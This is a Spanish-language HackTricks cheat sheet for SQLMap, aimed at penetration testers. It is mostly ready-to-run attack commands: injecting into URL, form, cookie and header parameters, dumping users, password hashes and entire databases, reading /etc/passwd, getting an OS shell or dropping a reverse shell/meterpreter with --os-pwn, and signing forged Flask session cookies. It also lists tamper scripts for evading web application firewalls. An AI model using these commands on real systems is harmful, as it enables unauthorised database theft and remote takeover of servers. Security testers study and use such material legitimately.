SQLMap - Cheetsheat

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.

Argumentos básicos para SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Obtener Información

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Datos de la BD

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Lugar de inyección

Desde la captura de Burp/ZAP

Capture la solicitud y cree un archivo req.txt

sqlmap -r req.txt --current-user

Inyección en solicitud GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Inyección de solicitud POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Inyecciones en Encabezados y otros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicar cadena cuando la inyección sea exitosa

--string="string_showed_when_TRUE"

Eval

Sqlmap permite el uso de -e o --eval para procesar cada carga útil antes de enviarla con un comando de una sola línea en Python. Esto hace que sea muy fácil y rápido procesar de formas personalizadas la carga útil antes de enviarla. En el siguiente ejemplo, la sesión de cookies de Flask está firmada por Flask con el secreto conocido antes de enviarla:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Leer archivo

--file-read=/etc/passwd

Rastrear un sitio web con SQLmap y auto-explotar

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Inyección de Segundo Orden

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lee esta publicaciónsobre cómo realizar inyecciones de segundo orden simples y complejas con sqlmap.

Personalización de la Inyección

Establecer un sufijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ayuda para encontrar inyección booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Recuerda que puedes crear tu propio tamper en python y es muy simple. Puedes encontrar un ejemplo de tamper en la página de Inyección de Segundo Orden aquí.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescripción

apostrophemask.py

Reemplaza el carácter de apóstrofe con su contraparte de ancho completo en UTF-8

apostrophenullencode.py

Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal

appendnullbyte.py

Añade un carácter de byte NULL codificado al final de la carga

base64encode.py

Codifica en Base64 todos los caracteres en una carga dada

between.py

Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #'

bluecoat.py

Reemplaza el carácter de espacio después de la declaración SQL con un carácter de espacio en blanco aleatorio válido. Luego reemplaza el carácter '=' con el operador LIKE

chardoubleencode.py

Doble codifica en URL todos los caracteres en una carga dada (sin procesar los ya codificados)

commalesslimit.py

Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'

commalessmid.py

Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)'

concat2concatws.py

Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Codifica en URL todos los caracteres en una carga dada (sin procesar los ya codificados)

charunicodeencode.py

Codifica en Unicode-URL los caracteres no codificados en una carga dada (sin procesar los ya codificados). "%u0022"

charunicodeescape.py

Codifica en Unicode-URL los caracteres no codificados en una carga dada (sin procesar los ya codificados). "\u0022"

equaltolike.py

Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE'

escapequotes.py

Escapa las comillas (' y ")

greatest.py

Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST'

halfversionedmorekeywords.py

Añade un comentario versionado de MySQL antes de cada palabra clave

ifnull2ifisnull.py

Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Envuelve la consulta completa con un comentario versionado

modsecurityzeroversioned.py

Envuelve la consulta completa con un comentario de versión cero

multiplespaces.py

Añade múltiples espacios alrededor de las palabras clave SQL

nonrecursivereplacement.py

Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para reemplazo (por ejemplo, .replace("SELECT", "")) filtros

percentage.py

Añade un signo de porcentaje ('%') delante de cada carácter

overlongutf8.py

Convierte todos los caracteres en una carga dada (sin procesar los ya codificados)

randomcase.py

Reemplaza cada carácter de palabra clave con un valor de caso aleatorio

randomcomments.py

Añade comentarios aleatorios a las palabras clave SQL

securesphere.py

Añade una cadena especial elaborada

sp_password.py

Añade 'sp_password' al final de la carga para ofuscación automática de los registros del DBMS

space2comment.py

Reemplaza el carácter de espacio (' ') con comentarios

space2dash.py

Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una cadena aleatoria y un salto de línea ('\n')

space2hash.py

Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y un salto de línea ('\n')

space2morehash.py

Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y un salto de línea ('\n')

space2mssqlblank.py

Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos

space2mssqlhash.py

Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de un salto de línea ('\n')

space2mysqlblank.py

Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos

space2mysqldash.py

Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de un salto de línea ('\n')

space2plus.py

Reemplaza el carácter de espacio (' ') con un signo más ('+')

space2randomblank.py

Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos

symboliclogical.py

Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y

unionalltounion.py

Reemplaza UNION ALL SELECT con UNION SELECT

unmagicquotes.py

Reemplaza el carácter de comilla (') con una combinación multibyte %bf%27 junto con un comentario genérico al final (para que funcione)

uppercase.py

Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT'

varnish.py

Añade un encabezado HTTP 'X-originating-IP'

versionedkeywords.py

Encierra cada palabra clave no funcional con un comentario versionado de MySQL

versionedmorekeywords.py

Encierra cada palabra clave con un comentario versionado de MySQL

xforwardedfor.py

Añade un encabezado HTTP falso 'X-Forwarded-For'

Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización